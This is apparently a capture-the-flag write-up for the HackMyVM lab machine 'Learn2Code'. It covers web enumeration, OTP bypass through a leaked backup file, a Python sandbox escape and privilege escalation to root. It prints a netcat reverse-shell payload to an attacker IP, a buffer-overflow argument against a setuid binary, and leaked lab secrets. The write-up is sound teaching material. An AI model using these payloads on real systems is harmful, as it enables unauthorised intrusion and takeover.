HMV Learn2Code

• Name: Learn2Code
• Difficulty: Easy
• OS: Debian
• IP: Local VM

• Source code and bak files may leak some secrets.
• Bypass Python Sandboxes provides useful resources.

Since only the web service enabled, I notice that index.php need OTP code for GoogleAuthenticator. And I find some interesting files with enumeration.

❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ feroxbuster -u http://192.168.1.62/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,js

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.62/
 🚩  In-Scope Url          │ 192.168.1.62
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt, js]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       17l       42w      489c http://192.168.1.62/includes/js/functions.js
200      GET       30l       47w      357c http://192.168.1.62/includes/css/style.css
200      GET       21l       64w      546c http://192.168.1.62/includes/js/custom_lib.js
200      GET        0l        0w        0c http://192.168.1.62/includes/css/style.bak
200      GET        7l      683w    60010c http://192.168.1.62/includes/js/bootstrap.min.js
200      GET       21l       64w      546c http://192.168.1.62/includes/js/custom_lib.bak
200      GET        2l     1276w    88145c http://192.168.1.62/includes/js/jquery-3.4.1.min.js
200      GET        7l     2122w   159515c http://192.168.1.62/includes/css/bootstrap.min.css
200      GET       33l       78w     1161c http://192.168.1.62/
200      GET        1l     9962w   194435c http://192.168.1.62/includes/js/bootstrap.min.js.map
200      GET        0l        0w        0c http://192.168.1.62/includes/php/access.php
200      GET        1l    48613w   641867c http://192.168.1.62/includes/css/bootstrap.min.css.map
301      GET        9l       28w      315c http://192.168.1.62/includes => http://192.168.1.62/includes/
200      GET       33l       78w     1161c http://192.168.1.62/index.php
200      GET       16l       35w      319c http://192.168.1.62/includes/php/access.php.bak
200      GET        1l        4w       19c http://192.168.1.62/includes/php/runcode.php
200      GET        1l        4w       19c http://192.168.1.62/includes/php/coder.php
200      GET        0l        0w        0c http://192.168.1.62/includes/php/GoogleAuthenticator.php
200      GET        1l        8w       51c http://192.168.1.62/todo.txt
[####################] - 6s     18580/18580   0s      found:19      errors:1
[####################] - 5s     18456/18456   3490/s  http://192.168.1.62/
[####################] - 0s     18456/18456   55590/s http://192.168.1.62/includes/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   376653/s http://192.168.1.62/includes/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   44688/s http://192.168.1.62/includes/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   65447/s http://192.168.1.62/includes/php/ => Directory listing (add --scan-dir-listings to scan)

Then I take a closer look at these files like following.

Code length restriction.

<input type="number" class="form-control text-center" min-length="6" max-length="6" id="code" name="code">

check_code() logic.

function check_code() {
	var params = new Array("action=check_code", "code="+$('#code').val());
	php_ajax(params, "includes/php/access.php", function(response) {
		if (response.indexOf("wrong") != -1) {
			$('.result').show();
		} else {
			$('body').html(response);
		}
	});
}

bak file of access.php.

❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ curl http://192.168.1.62/includes/php/access.php.bak
<?php
	require_once 'GoogleAuthenticator.php';
	$ga = new PHPGangsta_GoogleAuthenticator();
	$secret = "S4I22IG3KHZIGQCJ";

	if ($_POST['action'] == 'check_code') {
		$code = $_POST['code'];
		$result = $ga->verifyCode($secret, $code, 1);

		if ($result) {
			include('coder.php');
		} else {
			echo "wrong";
		}
	}
?>

Now I have following critical information about that service:

• code length equal to 6.
• access.php is responsible for handling check_code.
• the bak file of access.php leaks the secret of GoogleAuthenticator.

After Google search for that keyword. I finally get this repo for replay the OTP code if know the secret. Replace the secret with what I get before, and I get the OTP code currently valid.

Checking Code '004083' and Secret 'S4I22IG3KHZIGQCJ':

With this correct code, I get a page like this and with simple recon I know this is a Python environment.

__import__('os').system('nc -e /bin/bash 192.168.1.33 3333')

Obviously there is a stack overflow vulnerability which I can override the variable v5 if the input argument length enough. And I get the offset is 0x50 from comment of code. Then I privot to user learner by this payload:

www-data@Learn2Code:/var/www/html/includes/php$ /usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
/usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
learner@Learn2Code:/var/www/html/includes/php$ id
id
uid=1000(learner) gid=33(www-data) groups=33(www-data)

Then I also find a interesting file within the home directory of user learner.

learner@Learn2Code:/home/learner$ ls -al
ls -al
total 44
dr-x------ 2 learner learner  4096 Sep 28  2020 .
drwxr-xr-x 3 root    root     4096 Sep 28  2020 ..
lrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout
-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc
-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile
-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault
-r-------- 1 learner learner    14 Sep 28  2020 user.txt

Like before, load it with IDA will leak a password, I try this password with su and successfully privot to root!

public main
main proc near

var_18= qword ptr -18h
var_10= qword ptr -10h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 20h
lea     rax, aNoi98ho   ; "NOI98hO"
mov     [rbp+var_8], rax
lea     rax, aIhj       ; "Ihj"
mov     [rbp+var_10], rax
lea     rax, aJj        ; ")(Jj"
mov     [rbp+var_18], rax
lea     rdi, s          ; "If you are a learner, i'm sure you know"...
call    _puts
mov     eax, 0
leave
retn
; } // starts at 1135
main endp